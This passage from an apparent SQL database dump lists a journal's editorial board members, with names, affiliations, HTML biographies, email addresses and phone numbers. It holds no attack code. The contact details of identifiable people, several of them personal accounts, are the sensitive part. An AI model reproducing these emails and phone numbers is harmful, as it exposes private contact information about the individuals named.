href=\"http://www.researcherid.com/rid/E-7217-2010\">Web of Science Core Collection-Clarivate Analytics</a> that have been cited over 1200 times, and her publication H-index is 25 (<a href=\"http://www.researcherid.com/ProfileView.action?returnCode=ROUTER.Unauthorized&amp;Init=Yes&amp;SrcApp=CR&amp;queryString=KG0UuZjN5Wl8XyNMzOtL/fFQot2kP4VlgZg8IvV20fc=\">Citation Metrics</a>) and she has been serving as an editorial board member of reputed Journals and she has <a href=\"https://publons.com/author/313852/monica-butnariu#profile\">peer review activity</a>. So far, he has written several books and book chapters in different areas of chemistry (<a href=\"https://link.springer.com/search?query=Monica+Butnariu+Chapter\">such as</a>). In addition, he received the Romanian Academy Award for Chapter Chemical Composition of Vegetables and their Products in book <a href=\"https://link.springer.com/referenceworkentry/10.1007/978-3-642-41609-5_17-1\">Handbook of Food Chemistry</a>. It should be noted that currently is head of the <a href=\"http://www.conem.org/about-conem/groups/europe/\">Head&ndash;CONEM Romania Biotechnology and Environmental Sciences Group</a><strong> </strong>and also <a href=\"http://iapbhome.com/correspondent?profile=Romania-Monica-Butnariu\">National Correspondent of the International Association for Plant Biotechnology</a></p>\r\n',1,'2018-07-11 22:15:31','2018-07-24 21:04:15',1),(139,24,20,'1531329788.jpg','Volodymyr Korolenko','v_korolenko@yahoo.com','380444841591','Department of Health','Editorial board member','Ukraine','Banat’s University of Agricultural Sciences and Veterinary Medicine','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Many in the healthcare, public administration and medical business community regard Dr. Volodymyr Korolenko as a leading authority and much-sought-after speaker on career development, marketing and entrepreneurship.&nbsp; His enthusiasm helps him to quickly connect with people and make an impact on them to take action.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Korolenko has over twenty years of experience in medical services including leadership positions at Dept. of Health, Kyiv Regional State Administration, at Executive apparatus of Kyiv Regional Council, and educational positions at the National O.O.Bogomolets Medical University.&nbsp; As the lecturer and executive at Ukrainian &quot;Znannya&quot; (Knowledge) Society he was honored with the 2008 Gold Medal. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He founded&nbsp; Club of Kyiv, a non-profit NGO in social services, which focuses on policy and development counseling for government bodies and other NGOs.&nbsp; He has been an editor, a member of editorial boards and reviewer for a number of scientific medical joutnals.</span></p>\r\n',1,'2018-07-11 22:53:07','2018-07-24 21:03:50',1),(140,23,20,'1531330493.jpg','Adekunle Sanyaolu','sanyakunle@hotmail.com','4032857540','Healthcare Consultant (Global Communicable Diseases)','Editorial board member','Canada','AMOOF consulting enterprise','04','<p>Dr Sanyaolu is a Medical Microbiologist with over 20 years of work experience in the area of public health, clinical and teaching duties. His expertise and research interest lies in the area of clinical and public health microbiology with specialized focus on communicable diseases (infectious / tropical diseases). Dr. Sanyaolu completed his Bachelor&rsquo;s (B.Sc Hons, 1989) degree, Master&rsquo;s (M.Sc., 1992) degree and Doctoral (PhD, 2000) from the University of Lagos, Lagos, Nigeria; Between the year 2005 and 2006,</p>\r\n\r\n<p>Dr. Sanyaolu worked as a Postdoctoral Research Fellow in the area of Global Health Communicable Diseases at the College of Public Health, Department of Global Health, University of South Florida,Tampa Florida; also during this period, he worked as a Healthcare Specialist with the Veterans&rsquo; Administration (VA) healthcare centre in Tampa Florida. His career experience includes laboratory diagnosis for communicable diseases, teaching / training and research. His public health work experience includes epidemiological surveillance, intervention, outbreak investigation, infectious diseases prevention and control, as well as project coordination and management. He is a member of many professional associations in the UK, Canada and the US.</p>\r\n',1,'2018-07-11 23:04:53','2018-09-25 12:24:45',1),(141,26,20,'1531368211.jpg','Jose Antonio F. Ramires','jose.ramires@incor.usp.br','551126615443','Head Professor','Editorial board member','Brazil','University of São Paulo ','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Jose Antonio F. Ramires, MD, PhD has completed his PhD at the age of 28 years from University of S&atilde;o Paulo Medical School, Brasil and postdoctoral studies from the same University. He was the Scientific Director, Learn Director and General Director&nbsp; of the Instituto do Cora&ccedil;&atilde;o-INCOR (Heart Institute) of the University of S&atilde;o Paulo. Actually, he is Head Professor of Cardiology of the Instituto do Cora&ccedil;&atilde;o-INCOR and coordinator of medical graduate of the INCOR.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Ramires was President of the S&atilde;o Paulo State Cardiology Society, Brazilian Society of Cardiology and Brazilian Heart Foundation (FUNCOR) and Vice-President of the InterAmerican Cardiology Society. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">During five years (2005-2010) was President of the Professors and Researchers Evaluation Committee of the University of S&atilde;o Paulo. He has published more than 500 papers in reputed journals and has been serving as an editorial board member of repute.</span></p>\r\n',1,'2018-07-12 09:33:31','2018-07-30 20:47:27',1),(142,26,20,'1531414023.jpg','Samer Ellahham','ellahs@ccf.org','2164488250','DIRECTOR, PARAGON CARDIOVASCULAR FOUNDATION','Editorial board member','USA','Paragon Cardiovascular Foundation','01','',1,'2018-07-12 22:17:03','2018-07-30 20:46:54',1),(143,32,20,'1531414722.jpg','Evangelos M.Mazaris','evmazaris@yahoo.gr','442033121006','Department of Urology','Editorial board member','United Kingdom','St. Mary\'s and Charing Cross Hospital','03','<p>Evangelos M.Mazaris completed his urological training at the 2nd Department of Urology at the University of Athens Greece in 2009 and became accredited in Urology after successful exit exams. In the same year he also passed with excellent marks the Fellow of European Board of Urology (FEBU) exams.</p>\r\n\r\n<p>In the same year he took up a post as a Senior Fellow in Urology/Uro-oncology at the Lister Hospital in Stevenage UK for 2 years including training in robotic surgery. He was then promoted to the same hospital to a L. Consultant for 1 year. He subsequently took up a post of L. Consultant at Imperial College NHS Trust for 2 years working both at St. Mary&rsquo;s as well as Charing Cross hospitals in London. From April 2014 he was appointed as a Consultant at Hinchingbrooke Hospitalin Huntingdon Cambridgeshire creating with my colleagues a totally new Department of Urology in the hospital.</p>\r\n\r\n<p>In 2005 he obtained an MSc in Surgical Science by Imperial College London in 2009 and he obtained an MD from the University of Athens with a thesis title &lsquo;use of NSAIDs for analgesia after radical retropubic prostatectomy&rsquo;.In 2010 he obtained a Ph.D. from Imperial College London with my thesis titled &lsquo;ethical issues in live donor kidney transplantation&rsquo;.</p>\r\n\r\n<p>Evangelos M.Mazaris have published book chapters and articles in national and international journals. He has presented at national and international meetings. He was an editorial board member for several journals and he also reviews papers for journals. He was referenced in &lsquo;Who is who in medicine and healthcare&rsquo; during 2009-2012 and also in &lsquo;Who is who in the world&rsquo; in 2013.</p>\r\n\r\n<p><strong><u>Research Interests:</u></strong></p>\r\n\r\n<p>His research interest focuses is on stone disease, male and female LUTS, cancer diagnostics, laser prostatectomies and UTIs.</p>\r\n',1,'2018-07-12 22:28:42','2018-07-17 22:36:19',1),(144,32,20,'','Subhash Singla','subhashsingla2@gmail.com','09878055786','Department of Radio-diagnosis','Editorial board member','India','Christian medical college & Hospital','04','',1,'2018-07-12 22:35:11','2018-07-17 22:36:38',1),(145,23,20,'1531675352.jpg','Sanket Awate','sanket.awate@nih.gov','','Laboratory of Molecular Gerontology,National Institute on Aging','Editorial board member','USA','National Institute of Health','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Awate received his Master&rsquo;s in Biochemistry &amp; Molecular Biology from George Washington University in 2010. Her Master&rsquo;s Thesis focused on the transcriptional regulation of Estrogen Receptor &alpha; by BP1, transcription factor activated in breast cancer. He then decided to pursue his Ph.D. in the Department of Biochemistry &amp; Molecular Biology from Louisiana State University. During his Ph.D. he identified inhibitors of Tousled-like Kinase 1B that is overexpressed in Breast, ovarian and prostate cancers. He was awarded her Ph.D. in 2016 and then went on to join the Robert Brosh laboratory at NIH/NIA as a postdoctoral Fellow.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is currently studying the molecular functions and genetic roles of DNA helicases engaged in the replication stress response.</span></p>\r\n',1,'2018-07-15 22:52:32','2018-09-25 12:23:54',1),(146,30,20,'1531676186.jpg','Victor Manuel Vargas Hernandez','vvargashernandez@yahoo.com.mx','(55) 5747 7503','Direction of Research','Editorial board member','Mexico','Juárez Hospital of Mexico','03','<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Victor Manuel Vargas Hernandez Participation as a tenured professor, associate or associate in different conferences, national and international meetings.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Professor of the course of biology of Human Reproduction, Medicine Internal, General Surgery, Oncology, and Gynecology and Obstetrics in the Hospital Ju&aacute;rez de M&eacute;xico </span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">He is the author of books: 1st Hysterectomy Indications, Complications and Alternatives 2005, Ed DEMSA Ligature of the Hypogastric Arteries 1st. 2006 Edition, and 2nd. Edition 20103 Ed. DEMSA Cancer in Women 3 volumes 2011 Ed. ALFIL</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Series of books on diseases of the lower genital tract 2017-2018 Ed. ALFIL</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><em><strong><span style=\"font-family:Times New Roman,Times,serif\">Author of 20 Chapters of books related to gynecology and obstetrics; oncology and human reproduction</span></strong></em></span></p>\r\n',1,'2018-07-15 23:04:53','2018-07-15 23:08:14',1),(147,15,20,'','Kentaro Ouchi','ken2006anes@yahoo.co.jp','812-8582','Anesthesia and Critical Care Center','Editorial board member','Japan','Kyushu University Medical and Dental Hospital','02','<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, Sugiyama K. Required propofol dose for anesthesia and time to emerge are affected by the use of antiepileptics: prospective cohort study. BMC Anesthesiol. 2015 Mar 15;15:34. doi: 10.1186/s12871-015-0006-z. </span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, Koga Y, Nakao S, Sugiyama K. Dexmedetomidine dose-dependently enhances local anesthetic action of lidocaine. J Oral Maxillofac Surg. 2014;72(3):474-80.</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, Uno H, Sugiyama K. A case of tracheal intubation for apnea with epidural opioid in recovery room after operation under general anesthesia. Masui. 2013;62(10):1237-40.</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, Sekine J, Koga Y, Nakao S, Sugiyama K. Establishment of an animal model of sedation using epidural anesthesia that uses the tail-flick test for evaluating local anesthetic effects in rats. Exp Anim. 2013;62(2):137-44.</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, et al. A Case of Impaction to Left Inferior Lobar Bronchus Due to Aspirated Bridge with Dental Treatment. Journal of Japanese Dental Society of Anesthesiology. 2013;41(3):294-5.</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, Uno H, Sugiyama K. The Effect of Priming with Rocuronium on Prevention of Remifentanil Mediated Difficult Ventilation. J Clin Anesth (Jpn). 2012;36:1601-6.</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, et al. General Anesthesia for an Infant with Netherton Syndrome. J Clin Anesth (Jpn) 2010;34:679-82.</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, Uno H, Koga Y. Abnormal Hypertension during Undiagnosed Pheochromocytoma Resection Surgery (General Anesthesia for the Veiled-type Pheochromocytoma). J Clin Anesth (Jpn). 2008;32:1801-5</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, Sunada K. Randomized Controlled Study of Felypressin-Propitocaine and Mepivacaine for Inferior Alveolar Nerve Block. Anesthesia Progress. 2009; 56(1):23-32.</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u>Ouchi K</u>, Sunada K. Effect of Propitocaine with Felypressin on Myocardial Blood Flow and Cardiac Output in Spontaneous Hypertensive Rats. Anesthesia Progress. 2008; 55(2):58-68.</span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><u><em><strong>RESERCH INTEREST:</strong></em></u></span></span></p>\r\n\r\n<p style=\"margin-left:19.75pt; text-align:left\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><em>General anesthesia, Non-intubated general intravenous anesthesia, Local anesthesia.</em></span></span></p>\r\n',1,'2018-07-15 23:15:25','2018-07-15 23:41:36',1),(148,15,20,'1531677232.jpg','Ziad N. Al-Dwairi ','ziadd@just.edu.jo','','Vice Dean and Director ','Editorial board member','Jordan',' Jordan University of Science and Technology','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Ziad N. Al-Dwairi works as Vice Dean and Director of Dental Teaching Clinics at Faculty of Dentistry/ Jordan University of Science and technology. He is Professor of Fixed and Removable Prosthodontics and Implant Dentistry at Jordan University of Science and Technology, holds PhD in Prosthodontics, Queens University/Belfast, UK in 2001, Fellowship of The International Academy of Dento Facial Esthetics (FIADFE) in 2012 and Fellowship of the International College of Dentists FICD/2015, Fellowship of The Academy of Dentistry International/2016(FADI), Fellowship of the Pierre Fauchard Academy FPFA/2017 and Membership of the Royal College of Physicians and Surgeons of Glasgow (MFDSRCPS-Glasg)/2017 and Membership of the Royal College of Surgeons of Edinburgh (MFDSRCS-Ed)/2017, Membership of Royal College of Surgeons of England (MFDSRCS Eng) and membership of Faculty of General Dental Practice; MFGDP(UK)/2017.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He worked as vice president of the Restorative Dentistry Committee/ Jordan Medical Council and Member of the National Committee for contentious medical education/Jordan Medical Council. He is a former member of University Council/Jordan University of Science and Technology and worked as Chairman of the Prosthodontics Department, Faculty of Dentistry/Jordan University of Science and Technology and a Former Assistant Dean / Faculty of Dentistry/ Jordan University of Science and Technology.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>He holds several International prizes and honors as follows:</strong></em></span></p>\r\n\r\n<ol>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">The senior prize The Elida Gibbs Travel Award 2000 from the Irish Division of International Association for Dental Research (IADR)</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">The Procter and Gamble Research award 2000. Oral and Dental Research Trust, London</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">(BSSPD research Prize 2001). British Society for the study of Prosthetic Dentistry First Research Prize</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Certificate of recognition from IADR and AADR 2002, Get a member Campaign</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Member of the Advisory Group For Dental Ethics Manual, FDI</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Executive Committee of African and Middle East Federation of IADR</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">The first research prize in Prosthodontics from Society of Arab Dental Faculties (SARDF) 2010</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Fellowship of the International Academy for Dento-Facial Esthetics FIADFE/2012</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Fellowship of the International College of Dentists FICD/2015</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Fellowship of the Academy of Dentistry International FADI/2016</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Fellowship of the Pierre Fauchard Academy FPFA/2017</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Membership of the Royal College of Physicians and Surgeons of Glasgow (MFDSRCPS-Glasg)/2017</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Membership of the Royal College of Surgeons of Edinburgh (MFDSRCS-Ed)/2017</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Membership of Faculty of General Dental Practice; MFGDP(UK)/ 2017</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Membership of Royal College of Surgeons of England (MFDSRCS Eng) /2017&nbsp;</span></li>\r\n</ol>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is currently involved in teaching undergraduate and graduate students in all field of Prosthodontics in addition to involvement in advanced programs for MFDS Trainees, High specialty trainees and advanced clinical trainees in Prosthodontics&nbsp;</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He supervised several MSc students as a main and a co advisor and as an examiner for 27 theses in all disciplines of Prosthodontics with more than 49 publications in high impact international journals. In addition, he works as a reviewer for 41 International Peer reviewed Journals and on editorial board of 46 International Journals. He attended more than 39 local and international conferences and more than 24 workshops in disciplines of Implant dentistry, Prosthodontics, Cone Beam CT, Dental education, Quality assurance and health informatics.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He was a Member of the International advisory group formed by FDI for publishing the Dental Ethics Manual in 2007 and carried out its translation into Arabic Language to be available to all Arabic natives.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><u><strong>Research Interests:</strong></u></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Standards of clinical and laboratory procedures for construction of fixed and removable prostheses</span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Oral Infections related to removable prostheses</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Infection Control</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Esthetics Dentistry</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Implant Dentistry</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Restoration of Endodontically treated teeth</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Periodontics-Restorative Dentistry Interface</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Shortened Dental arch</span></li>\r\n</ul>\r\n',1,'2018-07-15 23:23:51','2018-07-17 23:18:57',1),(149,15,20,'1531678644.jpg','Abu-Hussein Muhamad','abuhusseinmuhamad@gmail.com','','Department of Pediatric Dentistry','Editorial board member','Greece','University of Athens','08','',1,'2018-07-15 23:47:23','2018-07-15 23:47:23',1),(150,15,20,'1531839417.jpg','Adnan Catovic','catovic@fzg.hr','','Head of Polyclinic Dental Clinic University Hospital Center Zagreb','Editorial board member','Europe','University of Zagreb','03','<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Adnan Catovic is a specialist and primarius in Prosthodontics. He is full Professor of Fixed Prosthodontics and Geriatric Dentistry at the School of Dentistry, University of Zagreb and Dental Clinic University Hospital Centre in Zagreb, Croatia. He is a regular member of the Croatian Academy of Medical Sciences, graduated from the School of Dental Medicine in Zagreb 1977. He was research assistant at the Department of Fixed Prosthodontics, Faculty of Dentistry in Zagreb, university lecturer and research associate in 1987. He was an Associate Professor and senior research associate in 1995. and Full Professor and scientific advisor in 1999, Head of the Department of Fixed Prosthodontics, Faculty of Dentistry, University of Zagrebu from 1999 to 2001. He was Head of the Department of Fixed Prosthodontics, School of Medicine, Study of Dental Medicine,University of Rijeka from 2001 to 2003. Now he is the Head of the Geriatric Dentistry at the School of Dental Medicine University of Zagreb and Head of the Polyclinic of Dental Clinic University Hospital Center Zagreb.</span></span></p>\r\n\r\n<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">He was a lecturer at numerous scientific and professional conferences and has published over 150 scientific papers. He was a leader and principal investigator of the scientific project &rdquo;Teeth, materials and prosthetics appliances&nbsp; in adolescent and geriatric population&rdquo; author of two textbooks in Fixed prosthodontics and Geriatric dentistry and co author in textbook Geriatrics .He is a regular member of the Croatian Academy of Medical Sciences, editorial board Journal Medix, Croatian Society for Prosthetic Dentistry, Croatian Medical Association, European Prosthodontic Association (EPA) and the European College of Gerodontology (ECG). He is a member of several Editorial boards of the Journals in Dental Medicine.</span></span></p>\r\n\r\n<p><em><u><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest:</strong></span></span></u></em></p>\r\n\r\n<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Fixed prosthodontics and Implantology, Biomechanics of teeth and prosthetic appliances, Dental care for Elderly , Ergonomics in Dentistry.</span></span></p>\r\n',1,'2018-07-17 20:26:56','2018-07-17 23:20:13',1),(151,16,20,'1531845309.jpg','Qiang Zhang','qiangz@med.umich.edu','(336) 970-3553','Department of Radiation Oncology','Editorial board member','USA','University of Michigan','02','<p>Dr. Zhang&rsquo;s research is focused on identifying novel molecular targets in pancreatic cancer that are important in the cellular response to radiation-induced DNA damage. He is involved with several translational therapeutic projects to optimize the use of agents targeting FBXW7, ATM and PARP1 in pancreatic cancer. More recently, Dr. Zhang has initiated new research focused on improving the efficacy of immune checkpoint therapies in pancreatic cancer by combining agents targeting the DNA damage response with radiation. Dr. Zhang also has extensive experience in mechanism-based studies of DNA double-strand break repair pathways.</p>\r\n\r\n<p><u><em><strong>Research Interest:</strong></em></u><br />\r\nMajor areas of investigation:<br />\r\n1) Pancreatic Cancer<br />\r\n2) DNA Damage Response and Repair<br />\r\n3) Combination of immunotherapy and Radiotherapy<br />\r\n4) Radiation Therapy<br />\r\n5) E3 Ubiquitin Ligase</p>\r\n',1,'2018-07-17 22:05:09','2018-07-17 22:05:09',1),(152,21,20,'1531846083.jpg','Michael Olin','olin0012@umn.edu','612-616-3123','Department of Pediatrics','Editorial board member','USA','University of Minnesota','01','<p>Dr. Olin is an Assistant Professor in the Department of Pediatrics, Division of Hematology/Oncology. Dr. Olin graduated from the University of Minnesota, Duluth, in 1995 with a BS in biochemistry and a BA in chemistry. After graduating, he worked in industry for 5 years before returning to the U of M to complete his PhD in Veterinary Medicine (Infectious Disease) in 2005. From 2006-2008 Dr. Olin did a postdoctoral fellowship with Dr. Philip Peterson studying the effects of opioids on tuberculosis meningitis, and from 2008-2011 he did a second post doctoral fellowship with Dr. John Ohlfest in brain tumor immunotherapy. Dr. Olin joined the Department of Pediatrics Faculty as an Assistant Professor in 2011.</p>\r\n',1,'2018-07-17 22:17:07','2018-07-18 22:54:15',1),(153,32,20,'1531846845.jpg','Daben Dawam','bnd861@aol.com','','Department of Urology','Editorial board member','United Kingdom','Southend University Hospital NHS Foundation Trust','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Dawam graduated from the University of Jos, Nigeria with BMBCH in 1985. He undertook Residency Training in Urological Surgery at Ahmadu Bello University Teaching Hospital Zaria,Nigeria gaining the Fellowship of the National Postgraduate Medical College of Nigeria in 1995. He took up appointment as Consultant Urological Surgeon and Lecturer at the Ahmadu Bello University Teaching Hospital and Ahmadu Bello University, Zaria respectively. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Mr Dawam moved to the UK in 1999 as a UICC Fellow to the Royal Marsden Hospital, London where he spent time working with Mr W.F. Hendry and Prof. C.R.J. Woodhouse undertaking some of the best practices in modern urological cancer diagnosis and treatment at a world renowned Cancer Centre. He was awarded the Fellowship of the Royal College of Surgeons of England FRCS(Urol) in 2010. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">This was later followed by Fellowships at the University Hospitals of Coventry and Warwickshire(UHCW) in the United Kingdom and famous Queen Elizabeth Hospital Birmingham all in the United Kingdom, between 2012 and 2013. To further incorporate some of the best practices in modern urological surgery, Mr Dawam also undertook Mini-Fellowships at Institute of Urology and Nephrology, Mansoura with Prof. Hassan Abou El-Enein ,and also with with Prof. Urs Studer at Inselspital, University of Berne, Switzerland as well as Mini Fellowships with Prof. Inderbir Gill at Keck Medicine of University of Southern California(USC), Los Angeles where he is a Visiting Physician. Mr Dawam joined Southend University Hospital NHS Foundation Trust in 2014 as Consultant Urological Surgeon . </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His research interests and sub-specialist practice are Pelvic Uro-oncology and Laparoscopy /Robotic Surgery.</span></p>\r\n',1,'2018-07-17 22:30:47','2018-07-17 22:36:02',1),(154,24,20,'1531847991.jpg','Hironobu Ihn','ihn-der@kumamoto-u.ac.jp','','Vice President, Faculty of Life Sciences','Editorial board member','Japan','Kumamoto University Hospital','01','<p>Prof. Hironobu Ihn was born in 1964 at Kobe, Japan and graduated from University of Tokyo in 1990. He became assistant professor, Department of Dermatology, Faculty of Medicine, University of Tokyo in 1990, and worked as the research fellow in Division of Rheumatology &amp; Immunology, Medical University of South Carolina, SC, USA between 1994 and 1997. He worked as the lecturer, Department of Dermatology, Faculty of Medicine between 2001 and 2005 and became the associate Professor, Department of Dermatology, Faculty of Medicine, University of Tokyo. He was elected as the professor &amp; Chairman, Department of Dermatology &amp; Plastic Surgery, Faculty Life Sciences, Kumamoto University in 2005 and became the Vice President, Kumamoto University Hospital in 2013.</p>\r\n\r\n<p>He obtained Japanese Society of Connective Tissue Research Award in 2001, Japanese Society of Investigative Dermatology Award in 2005, and Japan Rheumatism Foundation Award in 2006.</p>\r\n',1,'2018-07-17 22:49:50','2018-07-17 22:49:50',1),(155,28,20,'1531848391.jpg','Akira Sugawara','akiras2i@med.tohoku.ac.jp','','Professor, Department of Molecular Endocrinology','Editorial board member','Japan','Tohoku University Graduate School of Medicine','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Akira Sugawara belongs to the Department of Molecular Endocrinology, Tohoku University Graduate School of Medicine, Sendai, Japan. He graduated from Tohoku University School of Medicine on 1987 (M.D.), and got Ph.D. on 1991 from Tohoku University Graduate School of Medicine. He performed Postdoctoral Fellowship in William Chin&rsquo;s laboratory at the Women&rsquo;s Hospital/Harvard Medical School in Boston from 1991 to 1994. His major is general internal medicine, endocrinology and metabolism and hypertension and nephrology.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research interest:</strong></em>&nbsp;1) molecular biology of nuclear hormone receptors, 2) etiology of high blood pressure, 3) pathophysiology of diabetic nephropathy, 4) gene regulation of aldosterone synthase, and 5) epigenetics of hypertension and diabetes mellitus.</span></p>\r\n',1,'2018-07-17 22:56:31','2018-08-02 00:16:35',1),(156,15,20,'1531849067.jpeg','Giuseppina Lagana','giuseppinalagana@libero.it','(39) 0644232321','Department of Orthodontics','Editorial board member','Italy','University of Rome ','10','<p><u><strong><em>RESEARCH TOPICS</em></strong></u><strong><em>:</em></strong></p>\r\n\r\n<ul>\r\n	<li>Malocclusions in growing subjects</li>\r\n	<li>Early treatment of dento-skeletal malocclusions</li>\r\n	<li>Epidemiology studies of oral conditions in Italian and Albanian population</li>\r\n	<li>Breathing disorders and malocclusions</li>\r\n	<li>Dental anomalies</li>\r\n</ul>\r\n',1,'2018-07-17 23:07:47','2018-07-17 23:21:50',1),(157,15,20,'1531849388.jpg','Riaud Xavier','xavier.riaud@wanadoo.fr','02.40.76.64.88','Associate professor of Dental Surgery','Editorial board member','France','National Academy of Dental Surgery','11','',1,'2018-07-17 23:13:08','2018-07-17 23:13:08',1),(158,15,20,'1531849670.jpg','Amer A. Taqa','amertaqa@hotmail.com','','College of Dentistry ','Editorial board member','Iraq','Dental Basic Science Mosul University','13','<p>Amer A. Taqa: Professor at Dental Basic Science, College dentistry, Mosul University, Iraq. Have PhD degree in Dental chemistry. He has published more 100 researches papers in national and international academic journals and authored 22 books. His research interests include dental chemistry, medical chemistry, and inorganic chemistry. He is editorial member in more than 140 international journals. He Nominated as a member of the organizing committees for a number of international &nbsp;and local conferences.</p>\r\n',1,'2018-07-17 23:17:50','2018-07-17 23:17:50',1),(159,35,20,'1531927373.png','Maia Akhalkatsi ','maia_akhalkatsi@iliauni.edu.ge','+995 99 193529 ','Head of the Department of Plant Genetic  Resources','Editorial board member','Georgia','Ilia State University','02','',1,'2018-07-18 20:52:52','2018-07-19 23:00:27',1),(160,28,20,'1531927819.jpg','May Ng','may.ng@nhs.net','','Consultant Paediatric Endocrinologistand Associate Medical Director ','Editorial board member','United Kingdom','Southport and Ormskirk NHS Trust ','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr NgisChair of the UK Association of Children&rsquo;s Diabetes Clinicians, Clinical GuidelinesOfficer for British Society of Paediatric Endocrinology and Diabetes and Training Advisor for Endocrinology and Diabetes College Specialty Advisory Committee for theRoyal College of Paediatrics and Child Health (RCPCH). Sheis an active researcherwith over 120 publications with60 peer reviewed research papers, including three Cochrane reviews and has presented at more than 100 scientific meetings. She serves on the editorial board for several international journals including as Editor-in-Chief and as Associate Editor and is a regular invited referee for many high impact journals. She has been an invited keynote speaker at many national and international meetings including Diabetes UK in 2018, Diabetes Ireland in 2017, Diabetes Professional Conference in 2016, National Network Forums and Royal College meetings.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><u>Research interest</u>: </strong>Diabetes, 